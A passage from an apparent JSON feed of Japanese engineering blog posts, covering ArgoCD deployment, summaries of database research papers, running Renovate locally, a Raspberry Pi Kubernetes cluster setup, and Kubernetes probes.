application-controllerによるマニフェストデプロイプロダクト用Cluster管理者は、ダッシュボード (argocd-server) を使用して、ClusterにマニフェストをSyncします。この時、Applicationを介してapplication-controllerを操作し、マニフェストをデプロイします。図では、App Of Appsパターンを採用したと仮定しています\uD83D\uDC68‍\uD83D\uDC69‍\uD83D\uDC67‍\uD83D\uDC66▶ App Of Appsパターンについて07. アーキテクチャのまとめ今までの全ての情報をざっくり整理して簡略化すると、ArgoCDは以下の仕組みでマニフェストをデプロイすることになります\uD83D\uDC4708. おわりにArgoCDによるデプロイの仕組みの仕組みをもりもり布教しました。ArgoCDは、UIが使いやすく、仕組みの詳細を知らずとも比較的簡単に運用できるため、ユーザーフレンドリーなツールだと思っています。もしArgoCDを使わずにマニフェストをデプロイしている方は、ArgoCDの採用をハイパー・ウルトラ・アルティメットおすすめします\uD83D\uDC4D謝辞ArgoCDの設計にあたり、以下の方に有益なプラクティスをご教授いただきました。@yaml_villager さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍GitOps Cookbook: Kubernetes Automation in Practice (English Edition)作者:Vinto, Natale,Bueno, Alex SotoO\'Reilly MediaAmazonGitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux作者:Yuen, Billy,Matyushentsev, Alexander,Ekenstam, Todd,Suen, JesseManning PublicationsAmazon","isoDate":"2023-05-02T05:42:57.000Z","dateMiliSeconds":1683006177000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"現代のクエリオプティマイザの基礎となる技術をまとめた論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/15_query_optimization_overview","contentSnippet":"この記事の趣旨1998年に発表されたクエリオプティマイザの基礎としてとくに重要な手法をまとめた論文を読みました。An Overview of Query Optimization in Relational Systems著者についてSurajit Chaudhuriによる論文Microsoft所属の研究者でRDBMSの研究を行なっており、近年ではCloudにおけるDBMSの研究を行なっている。概要RDBMSが提案された1970年代からクエリ最適化は大規模で幅の広く研究が行なわれてきた。この論文では執筆当時(1998年)までの重要な研究の基礎を説明している。手法探索空間統計情報とコストの推定列挙アルゴリズムアルゴリズムについて説明している。論文内では拡張可能なオプティマイザとして、StarburstとVolcano/Cascadeの2種類のオプティマイザの詳細を論じている。最新(当時)の最適化リアライズドビューについて説明している。作業時間read31:4031:40author33:402:00summary52:5519:15感想ベクトル化やパラレルジョインで扱われていたVolcanoオプティマイザの端に触れることが出来ました。内容としては基礎的な内容が多いものの、知らない概念もいくつかあり引用している論文も読みたいです。クエリ最適化の基礎を学ぶのに非常にいい内容でした。","isoDate":"2023-05-02T01:54:29.000Z","dateMiliSeconds":1682992469000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"DBMSとクライアント間におけるデータ転送を最適化する論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/14_data_transfer_between_server_and_client","contentSnippet":"この記事の趣旨2017年に出版されたリモートDBMSとクライアント間の大量データ転送を最適化する手法を提案する論文を読みました。Don’t Hold My Data Hostage – A Case For Client Protocol Redesign著者についてMark Raasveldt、Hannes Muhleisenらのグループによる論文。いずれもCentrum Wiskunde & Informaticaの所属で、DuckDBのCxO。DBMSと分析システムにおけるパフォーマンス最適化を研究している。問題意識DBMSからクライアントプログラムに大量のデータを転送することは一般的なタスクである。例えばRやPythonなどを用いた分析システムはしばしばデータベース・インターフェースを利用してデータの取得を行なっている。一方でネットワーク越しにデータを転送することはレイテンシを増加させ、転送時間を長引かせる要因である。そのため分析用途で大量のデータ転送を避け、一部のデータをサンプルとして利用するに止まることが多い。このアプローチはパフォーマンスの低下を押さえられるものの、分析や機械学習の精度を下げることに繋がる。とくに既存のクライアントではネットワークによるレイテンシとスループットの制限に大きな影響を受けパフォーマンスを劣化させる。この問題はデータベースが別マシンやクラウドで動作するときにより大きな問題となる。手法本論文では既存のシリアライズ手法と圧縮手法によるパフォーマンスへの影響を計測し、新しいプロトコルとして以下の特性を持つ手法を提案している。1. チャンク毎のデータ転送と(デ)シリアライゼーション1. ヒューリスティックによる圧縮方法の決定1. text/binaryによるカスタムシリアライゼーションを使用する1. NULL終端によるテキストの取り扱い実験結果提案手法を実装したMonetDB(表内ではMonetDB++)とPostgreSQL(表内ではPostgreSQL++)を既存のDBMSやnetcatと比較することで評価を行なっている。TCP-Hのlineitem、American Community Survay、Airline On-Time Statisticsの3つのデータセットで評価を行なったところ、ローカル通信における非圧縮netcatを除き殆どのケースでMonetDB++系が最良のパフォーマンスを発揮し次点でPostgreSQL++系が優れた結果を残している。Table 10Table 11Table 12PostgreSQLに比べMonetDBが優れている理由はPostgreSQLの行指向データを列指向に変換するコストのためである。作業時間read31:2131:21author35:384:17summary70:1334:35感想論文出版時にはTPC/IPプロトコルが前提でQuic登場前のため、ネットワークプロトコル自体は考慮されていない。現在であればTPC/IPとQuicに適合した手法の比較が行なわれると思うので気になるところ。","isoDate":"2023-05-01T03:34:18.000Z","dateMiliSeconds":1682912058000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"SQL ServerにおけるUDF最適化の論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/13_sql_server_udf_optimization","contentSnippet":"この記事の趣旨2017年に発表されたSQL ServerでUDFを最適化しているFroidという手法についての論文を読みました。Froid: Optimization of Imperative Programs in a Relational Database著者についてKarthik Ramachandra、Kwanghyun Park、K. Venkatesh Emani、Alan Halverson、Cesar Galindo-Legaria、Conor Cunninghamのグループによる論文。ほとんどの著者はMicrosoftに所属しており、いずれもトランザクショナルワークロードでのRDBMSの最適化や分析ワークロードにおけるRDBMS最適化の研究をしている。問題意識RDBMSではSQLによるデータ処理アプローチと、UDFやストアドプロシージャなどによる命令型のデータ処理アプローチを提供している。SQLによるデータアクセスは高度に最適化されてきた一方で、命令型のデータ処理は非効率なため性能を阻害し利用を禁止している組織すらある。UDFによるデータアクセスは非効率であるものの、SQLに比べ下記のような利点を提供するため幅広く利用されているのも事実である。1. SQL間でコードの再利用方法を提供する1. 複雑なビジネスロジックやMLアルゴリズムなどSQLでは難しい表現を可能にする1. 単純なSQLの組み合わせのため、ユーザーの意図が明確に表現できるこれらのメリットを享受するためにRDBMSにおける命令型データアクセス手法のパフォーマンスを向上しする必要があった。手法提案手法であるFroidはMicrosoft SQL Serverにおける命令型コードのパフォーマンス向上の手法として、UDFを複雑なサブクエリとしてみなすアプローチを取っている。UDFを構成する命令はDECLARE、SELECT、IF/ELSE、RETURN、他のUDF、リレーショナルオペレーションの6つに分ることができる。提案手法ではこれらの命令を一般的なT-SQLに置き換え、Apply演算により一つの関係式に結合する方法で実現している。Table 1命令が一般SQLに置き換えられることでUDFに対して、SQLに用いられていた高度な最適化を導入することが出来る。また提案手法ではい以下の理由から、SQLとして命令を置換するときにクエリ最適化時に行なうのではなくバインド時に置換をしている。1. 実際のワークロードでの実験ではほぼ全てのケースでバインド時のほうが性能がよかった1. クエリオプティマイザの変更が不要1. バインディング時に特定の最適化を行なえるとくにクエリオプティマイザの変更はSQL Serverが商用データベースなため重要であった。作業時間read28:5028:50author32:103:20summary57:0024:50","isoDate":"2023-04-28T02:29:05.000Z","dateMiliSeconds":1682648945000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"DBMSの歴史とNewSQL","link":"https://zenn.dev/nnaka2992/articles/history_of_db_and_newsql","contentSnippet":"この記事はDBMSの登場以前から現代のDBMSを取り巻く環境までを振り返ることで、なぜNewSQLが必要とされ登場したのかをまとめます。 おことわり筆者はあくまでDBMSユーザーであり、研究者ではないため内容は個人の見解です。また対象読者はある程度DBMSに関わりがあり、OLTPやOLAP、列指向や行指向といった基本的な単語を理解しているものとします。またNewSQLの技術的詳細はスコープ外とします。 DBMS以前データベースという言葉は1950年代に米軍が情報基地を集約したことに由来します。一方で学術的なデータベースの起源はW. C. McGeeが1959年に発表...","isoDate":"2023-04-26T14:28:19.000Z","dateMiliSeconds":1682519299000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"中間結果が莫大になるときの結合を最適化する最悪ケース最適化結合をRDBMSに適応する論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/12_worst_case_optimal_join","contentSnippet":"この記事の趣旨2018年に発表された分析ワークロードなどで発生しがちな最終結果に比べ、非常に大きな中間結果を作成してしまうクエリを多方向結合で最適化する論文を読みました。Adopting Worst-Case Optimal Joins in Relational Database Systems著者についてMichael Freitag、Maximilian Bandle、Tobias Schmidt、Alfons Kemper、Thomas Neumannによるグループの論文いずれの著者もDBMSにおける最適化を中心に研究しており、それぞれ分析ワークロードにおける最適化や最新のハードウェアにおける最適化などを研究している。問題意識従来のRDBMSにおける結合処理のほとんどはバイナリ結合に依存して複数のリレーションにまたがるクエリを処理してきた。数十年に渡る研究によりバイナリ結合は幅広い柔軟性と優れた性能を発揮するようになった。その一方でバイナリ結合による実行計画は特定のワークロードでは最適ではないケースを示すことが知られている。主な原因として実際のクエリ結果に比べて非常に大きな中間結果を生成するためである。とくにPK以外のキーによる結合が多くなる分析ワークロードではそのような状態を避けることが難しく、またグラフ分析のようなクエリパターンでも多く見られる。近年の論理的な進歩により中間結果の列挙を避ける多方向結合のアルゴリズムが開発可能になった。この手法はバイナリ結合計画より優れた実行時間を保証できるため、RDBMSの堅牢性を大幅に向上させる可能性を持っている。しかし現状最悪ケース最適化結合アルゴリズムでは以下のような問題を抱えている。1. 膨大なストレージとメンテナンスを必要とする結合に参加出来るカラムを含むインデックスを必要とする。1. RDBMSは挿入と更新のサポートが必要なものの、既存のアルゴリズムは高価な事前計算を必要とする。そのため本論文は以下の制約を満たすアプローチを提案している1. 多方向結合が有益な場合のみ多方向結合を使用するオプティマイザを必要とする。1. 実行中に効率的に実行でき、ディスクのに永続化する必要のないパフォーマントインデックスを必要とする。手法提案手法では比較ベースではなくハッシュベースの結合のため、2の「実行中に効率的に実行でき、ディスクのに永続化する必要のないパフォーマントインデックスを必要とする。」という要素の考慮を除いている。またオプティマイザについては既存のコストベースのものを拡張し適応している。提案手法では潜在的に成長している結合のカスケードを最悪の場合の最適結合に置き換えることで、最適化されたバイナリ結合計画を洗練させるヒューリスティックなアプローチを提案している。通常の結合順序最適化で使用されるのと同じカーディナリティ推定値に基づいて、中間テーブルが膨大になる結合を特定する。作業時間read22:1322:13author25:483:35summary52:5826:50感想とても難しい内容に感じてしまい、殆ど頭を通りすぎてしまった気がする。今まで最適化は触れずに来たため、理解が浅い領域だった。よくよく考えるとDBMSの話しに最適化が登場するのはあたりまえなので、今後はその方面にも触れて行きたい。","isoDate":"2023-04-26T02:06:46.000Z","dateMiliSeconds":1682474806000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"gptstudio = ChatGPT + RStudioがおもしろい","link":"https://blog.atusy.net/2023/04/26/gptstudio/","contentSnippet":"ChatGPTを使ってRStudio上でのコーディングを支援するgptstudioパッケージが登場しました。姉妹製品に[gpttoools]パッケージもあります。利用にはOpenAIのAPI Keyが必要にです。生成するトークンに対する従量課金制ですが、$5のお試し枠がついてます。","isoDate":"2023-04-26T00:00:00.000Z","dateMiliSeconds":1682467200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"マルチコアメインメモリにおけるソートジョインとハッシュジョインのパフォーマンスを検証した論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/11_join_performance_comparison","contentSnippet":"この記事の趣旨2013年に発表された\\"Multi-Core, Main-Memory Joins: Sort vs. Hash Revisited\\"という論文を読みました。当時最新のアルゴリズムとハードウェアにおける、ソートとハッシュによる結合のパフォーマンスを比べた論文です。Multi-Core, Main-Memory Joins: Sort vs. Hash Revisited著者についてCagri Balkesen、Gustavo Alonso、Jens Teubner、M. Tamer Ozsuらのグループによる論文いずれもDBMSにおけるクエリ最適化やビッグデータにおけるパフォーマンスを研究している。またGustavo Alonsoはハードウェアや分散システムもメインのフィールドとしている。問題意識DBMSにおいて常にソートマージとハッシュ結合の性能比較が行われており、最新の研究ではSIMDやNUMAへの適正に基づいてソートマージがより優れていると結論づけられていた。しかしこれらの分野は常に研究が重ねられ、過去の検証時には登場していなったハッシュ結合の最適化手法が生れた。この論文ではそれらを適用し再度ソートマージとハッシュ結合の性能比較を行なう。手法本論文では以下に分けて結合手法の評価を行なっている。1. ソートフェーズの評価SIMDソートアルゴリズムとC++のSTLソートアルゴリズムを比較している。マージフェーズの評価入力サイズの調整によるマージフェーズの最適化パーマンスを検証している。ソートマージジョインにおける影響要因の特定結果結合対象のデータサイズに拘わらずハッシュによる結合がソートベースの結合のパフォーマンスを上回っている。Figure 14ソートマージによる結合は入力サイズが著しく大きくなったときのみハッシュ結合のパフォーマンスに近づく。Figure 15ソートマージ、ハッシュ結合におけるデータの偏りはパフォーマンスに大きな影響を及ぼさなかった。Figure 16いずれのアルゴリズムも物理的なコア数では線形にスケールした。Figure 17作業時間read23:1123:11author27:093:58summary60:1232:57","isoDate":"2023-04-24T02:23:54.000Z","dateMiliSeconds":1682303034000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"RDBでの結合手法を比較した論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/10_join_method_comparison","contentSnippet":"この記事の趣旨2016年に発表された\\"An Experimental Comparison of Thirteen Relational Equi-Joins in Main Memory\\"という論文を読みました。様々な結合手法を包括的に比較した論文でどのような結合方法がどのような時に適しているかを示しています。An Experimental Comparison of Thirteen Relational Equi-Joins in Main Memory著者についてStefan Schuh、Xiao Chen、Jens Dittrichのグループによる論文。いずれもDBMSや分析システム、Hadoopなどにおける検索高速化・最適化の研究を行なっている。問題意識関係結合はほとんど全てのクエリプランにおいて中核をなす処理であり、定期的に研究・改良され再検討されてきた。新たな手法が提案され実験を行なわれるものの、それぞれ結果において比較を困難にする要素や幾らかの矛盾を孕んでいた。例えば同じハッシュベースの結合アルゴリズムの比較でも実装が異なったり、複数の論文でパフォーマンス比較で正反対の結果を示しているためである。そのため単純に論文執筆時点で最も高速な結合アルゴリズムを結論づけることが困難であった。手法本論文では結合方法を以下の3つに分類した1. パーティションベースハッシュジョインパーティションに分割し結合する手法。ハッシュテーブルの構築と結合されるデータの探索のキャッシュミスを最小にする事を目的としている。非パーティションベースハッシュジョインパーティションテーブルを構築しながら結合を行なう手法で、マルチスレッドと順番に依存しない実行によりキャッシュミスのパフォーマンス劣化を隠蔽している。ソートマージジョインSIMDによりベクトル化される。検証ではこれらの結合方法を以下の3つのテストで使用するために、全部で13のアルゴリズムを検証している。1. ブラックボックス比較ブラックボックス的に比較する。ホワイトボックス比較ブラックボックス比較で検証する結合方法に先行研究で示された最適化を施した上で比較を行なう。パラレルラディックスジョイン比較Table 2結果パーティション結合の一種であるリモート書込みを排除したCPR系アルゴリズムは小さな入力に対して有効ではないスケールの大きい結合ではとくに理由が無い場合、パーティションベースのジョインを利用する大きなサイズのページを利用するソフトウェアライトコンバインバッファ()を利用するパーティションジョインでは適切なパーティションビットを利用するできるかぎりシンプルなアルゴリズムを利用するNUMAを考慮したアルゴリズムを利用する実行時間とクエリ時間は同一ではない作業時間read31:3431:34author35:183:46summary77:5042:32","isoDate":"2023-04-23T14:16:28.000Z","dateMiliSeconds":1682259388000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"コンパイルとベクトル化による最適化のパフォーマンスを比較した論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/9_compile_vs_vectorize_performance","contentSnippet":"この記事の趣旨2018年に発表された\\"Everything You Always Wanted to Know AboutCompiled and Vectorized Queries But Were Afraid to Ask\\"という論文を読みました。最新のクエリエンジンの特性をまとめ、どのようなワークロードに向くのかという指針を示すないようです。Everything You Always Wanted to Know About Compiled and Vectorized Queries But Were Afraid to AskTimo Kersten, Viktor Leis, Alfons Kemper, Thomas Neumann, Andrew Pavlo, Peter Boncz著者についてTimo Kersten, Viktor Leis, Alfons Kemper, Thomas Neumann, Andrew Pavlo, Peter Bonczのグループによる論文。いずれも大規模データにおけるクエリパフォーマスや最適化に関する研究を行なっている。問題意識分析ワークロードに向いた最新のクエリエンジンはベクトル化またはデータ中心のコード生成に基づいている。どちらのモデルも従来のエンジンに比べオーバーヘッドが少く、非常に効率的なものの概念的には大きく異なっている。この2つのモデルの違いは、DBMSの実行エンジンのソースコードの構成とその性能特性を決定する基本的なもので、クエリ実行モデルを超える多くの設計で異なる。本論文はことなる2つのモデルを再実装し、環境差異のないマシンで実行することでそれぞれのモデルがどのように違うのか。どのような用途に最適なのかを検証している。手法検証手法は著者らがC++で再実装したデータ中心モデルの「Taper」とベクトル化中心の「Tectorwise」を同一のマシンでパフォーマンス検証を行っている。検証項目は以下から成る1. インメモリOLAPワークロードでのマイクロアーキテクチャ分析1. SIMDの利点の検証1. マルチコアCPUにおけるクエリ並列化1. 異なるハードウェアでのパフォーマンス結果インメモリOLAPワークロードでのマイクロアーキテクチャ分析Figure 3: Performance – TPC-H SF=1, 1 threadSIMDの利点の検証SIMDを評価するにはTectorwiseのみを用いた。SIMDではスカラーなデータをベクトルに変換するペナルティは少く、最大8.4倍の性能向上が確認された。Figure 6: Scalar vs. SIMD Selection in TectorwiseマルチコアCPUにおけるクエリ並列化異なるハードウェアでのパフォーマンスIntel Skylake、Intel Knights Landing、AMD Ryzenで対照実験を行なったものの、いずれのハードウェアでもTyper、Tectorwiseともに有効に動作した。作業時間read29:2629:26author33:233:57summary76:3742:44感想VoectorwiseとHyperのいずれを使うべきか。どちらが優れているかといった疑問に答えるないようだった。","isoDate":"2023-04-21T01:45:06.000Z","dateMiliSeconds":1682041506000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Renovateをローカルで動かす","link":"https://kechigon.hatenablog.com/entry/2023/04/20/140449","contentSnippet":"Renovateには様々な実行方法がありますが。ここではローカルで動かす方法について説明します。Renovateをクローンするhttps://github.com/renovatebot/renovateからクローンしましょう。これ以降はクローンしたリポジトリのルートディレクトリで作業します。実行環境コンテナ.devcontainer/Dockerfileをビルドします。docker build -f .devcontainer/Dockerfile -t renovatebot_local .Renovateの依存パッケージをインストールdocker run -it --rm -v \\"$PWD\\":/usr/src/app -w /usr/src/app renovatebot_local yarnローカル実行時のオプションドキュメントを参考に、引数を与えてください。ログレベルdebugでGitLabリポジトリに対して実行する場合は、以下のようになります。例:docker run -it --rm -v \\"$PWD\\":/usr/src/app -w /usr/src/app -e LOG_LEVEL=debug -e GITHUB_COM_TOKEN=*** renovatebot_local yarn start --platform gitlab --token *** {リポジトリ}※{リポジトリ}のところはユーザー名/リポジトリ名のような感じです。","isoDate":"2023-04-20T05:04:49.000Z","dateMiliSeconds":1681967089000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"SIMDによるベクトル処理の最適化とRDBでの応用について扱った、最適化に関する論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/8_counter_control_flow_divergence_in_compiled_query_pipelines","contentSnippet":"この記事の趣旨2020年に提案された\\"Make the most out of your SIMD investments: counter control flowdivergence in compiled query pipelines\\"という論文を読みました。SIMDによるベクトル処理の最適化とRDBでの応用について扱った、最適化に関する論文です。Make the most out of your SIMD investments: counter control flow divergence in compiled query pipelinesHarald Lang, Linnea Passing, Andreas Kipf, Peter Boncz, Thomas Neumann, Alfons Kemper著者についてHarald Lang、 Linnea Passing、 Andreas Kipf、 Peter Boncz、 Thomas Neumann、 Alfons Kemperのグループによる研究いずれも最新のアーキテクチャでのクエリ最適化やデータ分析における検索手法などを研究している。問題意識CPUの発展にともないあたらしいCPUアーキテクチャが登場した。Single Instruction Multiple Data(SIMD)ではRDBはSIMDによるベクトル処理能力の向上により、クエリコンパイラの実行パイプライン全体をベクトル化して高度なデータ並列性の恩恵を受けることが出来るようになった。一方でクエリ全体をベクトル化して実行することで、SIMDによるクエリ評価が忙しくなる。SIMD評価で結果に寄与しない評価が単純にオーバーヘッドとなってしまう。手法本論文ではリフィルアルゴリズムとそのアルゴリズムをクエリパイプラインプランに統合する手法で上記の問題の解決を試みている。リフィルアルゴリズムは基本的に新しい要素を宛先レジスタの希望する位置にコピーするアルゴリズムで、メモリからレジスタとレジスタからレジスタへのコピーの2パターンが存在する。クエリパイプラインプランに統合するリフィル戦略ではConsume EverythingパターンとPartial Consumeパターンが存在する。Consum Everything戦略は、タプルをバッファリングするために使用される追加のベクターレジスタを割り当てる方法で利用率が低い場合、オペレータはこれらのタプルの処理を延期する。つまり、この反復ではボディは実行されず(条件が満たされない場合)、代わりにアクティブなタプルがこれらのバッファレジスタに移動することになる。Partial Consume戦略ではconsume()コードを入力の一部に適用する方法で、制御フローを前のオペレータに戻し、アクティブなデータ断片のみをベクトルレジスタに残すことで実行を延期している。作業時間read29:4029:40author33:404:00summary60:0426:36感想前回に引続き個人的には難しいと感じる論文だった。2000年前後の提案にくらべ、2015年前後の論文ではハードウェアアーキテクチャを中心とした手法がピックアップされている。単純に自分の知識不足、理解力不足なので勉強するしかない。","isoDate":"2023-04-20T02:00:20.000Z","dateMiliSeconds":1681956020000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Markdownのコードブロックとかテキストの文脈に合わせて背景色を変えるtsnode-marker.nvimを作った","link":"https://blog.atusy.net/2023/04/19/tsnode-marker-nvim/","contentSnippet":"2023/04/19のVim駅伝記事です。Neovimはtreesitterを使ってテキストファイルをパースする機能を備えています。代表的な用例は、パース結果に基くシンタックスハイライトですが、文法に従った範囲を取得できるので、コードの折り畳みや、テキストオブジェクトにも活躍します。","isoDate":"2023-04-19T00:00:00.000Z","dateMiliSeconds":1681862400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"NUMAアーキテクチャでのクエリ最適化に関する論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/7_numa_aware_query_evaluation_framework","contentSnippet":"この記事の趣旨\\"Morsel-Driven Parallelism: A NUMA-Aware Query Evaluation Framework forthe Many-Core Age\\"という2014年に発表された、多コアサーバにおけるクエリ最適化手法をあつかった論文を読みました。[Morsel-Driven Parallelism: A NUMA-Aware QueryEvaluation Framework for the Many-Core Age](https://15721.courses.cs.cmu.edu/spring2023/papers/07-scheduling/p743-leis.pdf)Viktor Leis, Peter Boncz, Alfons Kemper, Thomas Neumann著者についてViktor Leis、 Peter Boncz、 Alfons Kemper、Thomas Neumannのグループによる研究いずれもデータベースと 高速化かを中心に研究している。問題意識コンピュータアーキテクチャの進化にともない、二つのあたらしい問題が生じた。多コアを利用するためにクエリを数百のスレッドに均等に分散させるそれをNUMA(Non-Uniform Memory Access)による順序通りではないメモリアクセスで実現する必要がある。これらの要因からplanベースの並列処理による不可分散とコンテキストスイッチとボトルネックが問題になりスケールが難しかった。NUMAによってデータとアクセススレッドがどのチップに配置されるかによって、データ項目のアクセスコストが異なるため、コンピュータ自体がネットワークになっており、多コア並列化では、RAMやキャッシュ階層を考慮する必要がある。この論文ではMoral-drivenクエリ実行フレームワークを提案している。手法提案手法は並列クエリ処理のため、morselドリブンクエリ評価フレームワークを提示した。これはメニーコア時代の分析クエリ性能の主要なボトルネックである負荷分散、スレッド同期、メモリアクセス局所性およびリソース弾力性を解決することを目的としている。ベースとなるアイデアは以下の2つに分けられる。メモリ上のデータをmorselと呼ばれる小さなバッチに分割し、バッチごとに処理を実行したあとにそれぞれの処理結果をグローバルハッシュテーブルとしてまとめる。Figure 3: NUMA-aware processing of the build-phaseディスパッチャと呼ばれる並行パイプライン制御を行ない、ワーカースレッドをタスクに割り当てるFigure 5: Dispatcher assigns pipeline-jobs on morsels to threads depending on the coreまとめとして著者はきめ細かいスケジューリング、完全演算子並列化、低オーバーヘッド同期、NUMA対応スケジューリングの原理を用いて、他のシステムでもメニーコアスケーリングを改善できると示唆している。作業時間read28:3628:36author32:453:09summary60:3727:52感想近現代のサーバアーキテクチャで主流になっているNUMAでのクエリパフォーマンス向上のための論文のため、古典的なものに比べ概念が難しいものが多い。もう少し理解を深めたい。","isoDate":"2023-04-18T01:01:35.000Z","dateMiliSeconds":1681779695000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"おうちk8sクラスターを構築していて詰まったところ","link":"https://kechigon.hatenablog.com/entry/2023/04/17/174444","contentSnippet":"おうち Kubernetes インターンを参考に機材調達->OSインストール->kubeadamでクラスター構築と一通りやってみたので、トラブったところと解決策を共有します。USBメモリRaspberry PiにOSをインストールする際に、SDカードの性能が悪いと失敗します。私は安物で済ませようとした結果、三枚目でようやく成功しました。またインストール後も、ディスクの読み書き速度は全体のパフォーマンスに影響を与えるので、性能にはこだわるべきです。以下のサイトなどを参考に選びましょう。https://www.kingston.com/jp/blog/personal-storage/memory-card-speed-classeshttps://osusumepc.com/raspberry-pi-microsd/cgroups の Memory Subsystem を有効化私がインストールしたOSでは、cgroups の Memory Subsystem がデフォルトで無効化されているため、/boot/firmware/cmdline.txtに下記を追加する必要がありました。cgroup_memory=1 cgroup_enable=memoryしかし、編集し再起動しても有効化されませんでした。原因は改行を入れて追加していたことでした。改行せず行末に追加するのが正しいです。","isoDate":"2023-04-17T08:44:44.000Z","dateMiliSeconds":1681721084000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"列指向DBMSにおけるデータを提案した論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/6_hyper_pipelining_query_execution","contentSnippet":"この記事の趣旨\\"MonetDB/X100: Hyper-Pipelining Query Execution\\"という2005年に発表された、列指向DBMSを提案した論文を読んでいきます。分析ワークロード向けRDBMSにおける初期実装であるMonetDBを扱った論文で、提案時期が2005年と古くはあるものの現代のDWHの礎となる内容です。MonetDB/X100: Hyper-Pipelining Query ExecutionPeter Boncz, Marcin Zukowski, Niels Nes著者についてPeter Boncz、Marcin Zukowski、Niels Nseのグループによる論文。いずれの著者も機械学習や分析におけるDBMSについて研究している。問題意識2005年当時のDBMSは他のアプリケーションに比べ、IPCが低くなる傾向にあった。原因はほとんどのDBMSがコンパイラの最適化を阻害する実装だったためである。これはRDBMSが実装された当時に比べCPUやコンパイラが発達したためで、この論文ではC-store DBMSであるMonetDBと従来のR-store DBMSをそれぞれTPC-Hで評価を行い、パフォーマンス阻害要件と最適化方法を提案している。手法CPUによるIF文の処理方法はDBMSにとっては選択性が低く、そういった実行は予測不可能でありクエリ実行を著しく劣らせた。提案手法ではMonetDB/X100として効率的なシーケンシャルアクセスに向けた、C-storeストレージとクエリエンジンを実装した。RAMは提案手法のデータアクセスと同様の方法で圧縮して保存し、Cacheではなベクトル化された処理にもとづくパイプライン実装を使用した。CPUにおいてもベクトル型における式計算を提供し、コンパイラが高効率な処理を生成した。結果として提案手法は従来のDBMS実行に比べTPC-Hで優れた性能をしめした。作業時間read21:3221:32author29:007:28summary56:2027:20感想2005年と古く、またVolcano-likeなど知らない概念も登場した。提案内容としては現代のDWHが採用しているものだった。論文外の感想今回本文を読む時間を大幅に短くしてみたが、それにともない理解度も低下した気がする。やっぱり30分以上で読むのがよさそう。","isoDate":"2023-04-17T01:16:56.000Z","dateMiliSeconds":1681694216000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"列指向DBMSにおけるデータ圧縮手法の論文を読みました","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/5_integrating_compresison_and_execution_in_cstore_dbms","contentSnippet":"この記事の趣旨\\"Integrating Compression and Execution in Column-Oriented Database Systems\\"という2006年に発表されたそれまで行指向DBMSで培われてきた圧縮方法による、検索高速化手法を列指向DBMSに適用・評価した論文を読んで行きます。Integrating Compression and Execution in Column-Oriented Database SystemsDaniel J. Abadi, Samuel R. Madden, Miguel C. Ferreira著者についてDaniel J. Abadi、Samuel R. Madden、Miguel C. Ferreiraのグループ。それぞれDBMSやデータ分析に関連する手法やパフォーマンスについて研究している。問題意識2006年ごろの研究ということもありC-storeデータベースの研究が少なかった時期の論文。既に検索パフォーマンスに寄与することがしられていたR-storeデータベースの圧縮手法を、C-storeへ応用や評価を行なった。手法提案手法は以下の圧縮技術の組み合わせからなる。Null圧縮辞書エンコーディングRun Lengthエンコーディングビットベクターエンコーディングエンコーディングで、それぞれのカテゴリに属するかどうかをバイナリで表現する圧縮方法Lempel-ZivエンコーディングGZIPでも使用されている圧縮方式。データの非重複ブロックを解析して既存のデータは対応するブロックへのポインタに、それ以外のみを新規に追加する。提案手法は圧縮方式が増えてもアクセスパターンをシンプルに留めるためにアクセス方法をAPIとして隠蔽した。そのため異なるエンコーディングも同一のAPIで保存でき、同一のAPIでも取得できる。当然ながら一つのエンコーディングで全てのデータに対応することは難しく、論文では使用すべき圧縮スキームの選び方を以下のようにまとめている。Figure10感想C-storeにおける古典的な圧縮手法がまとまった論文だった。近代DWHを利用する側では意識することが少ない部分だったためあたらしい知識も多かった。作業時間read26:5026:50author33:306:40summary58:2024:50","isoDate":"2023-04-16T02:58:29.000Z","dateMiliSeconds":1681613909000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Kubernetes の Probe の仕組みと考慮点","link":"https://zenn.dev/toversus/articles/5d1292160f5035","contentSnippet":"!Kubernetes 1.26 時点の話で、以降のマイナーバージョンで改善されている可能性があります。Kubernetes には、ワークロードの正常性を確認するための Probe という仕組みがあり、Liveness / Readiness / Startup Probe が用意されています。kubelet (Kubernetes のノード上で動作するエージェント) は、ワークロードに対して TCP Socket / HTTP GET / gRPC / Exec の中から指定されたチェックを定期的に実行します。それぞれの Probe の特性を理解して使い分けないとサービスに影響...","isoDate":"2023-04-10T02:20:29.000Z","dateMiliSeconds":1681093229000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"GitLab CI で artifacts:reports:dotenv を使って Job 